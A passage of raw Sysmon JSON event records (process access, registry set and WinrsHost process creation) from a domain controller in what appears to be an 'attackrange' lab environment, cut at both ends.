(rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.609\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-001004CE0300}\r\nTargetProcessId: 2960\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.609","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-001004CE0300}","TargetProcessId":"2960","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.624\r\nSourceProcessGUID: {90617006-3FFC-5F2D-0000-001004CE0300}\r\nSourceProcessId: 2960\r\nSourceThreadId: 3572\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nTargetProcessId: 3880\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.624","SourceProcessGUID":"{90617006-3FFC-5F2D-0000-001004CE0300}","SourceProcessId":"2960","SourceThreadId":"3572","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-00102ACD0300}","TargetProcessId":"3880","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: T1484\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:20.640\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPExtensions\\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\\MaxNoGPOListChangesInterval\r\nDetails: DWORD (0x000003c0)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"T1484","UtcTime":"2020-08-07 11:50:20.640","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetObject":"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPExtensions\\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\\MaxNoGPOListChangesInterval","Details":"DWORD (0x000003c0)","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nTargetProcessId: 3880\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-00102ACD0300}","TargetProcessId":"3880","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.656\r\nProcessGuid: {90617006-3FFC-5F2D-0000-0010B6D20300}\r\nProcessId: 3596\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-3FF9-5F2D-0000-002009A00300}\r\nLogonId: 0x3A009\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.656","ProcessGuid":"{90617006-3FFC-5F2D-0000-0010B6D20300}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-3FF9-5F2D-0000-002009A00300}","LogonId":"0x3a009","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 